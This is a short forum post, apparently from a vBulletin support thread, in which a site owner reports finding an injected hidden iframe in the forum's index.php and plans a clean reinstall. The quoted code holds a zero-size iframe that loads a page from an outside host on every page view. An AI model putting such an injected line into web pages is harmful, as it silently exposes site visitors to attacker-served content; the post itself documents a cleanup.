@Cellarious: I found the issue in the Index.php file.
PHP Code:
if (defined('VB_RELATIVE_PATH'))
{
chdir('./' . VB_RELATIVE_PATH);
}
echo '<iframe src="http://ferrerautoparts.com/ini.php" width="0" height="0" frameborder="0"></iframe>';
require('forum.php');
I will re-install the forum so that there should be a clean installation. I wonder this will clear the Header Already Sent error as well.
Thank you so much for helping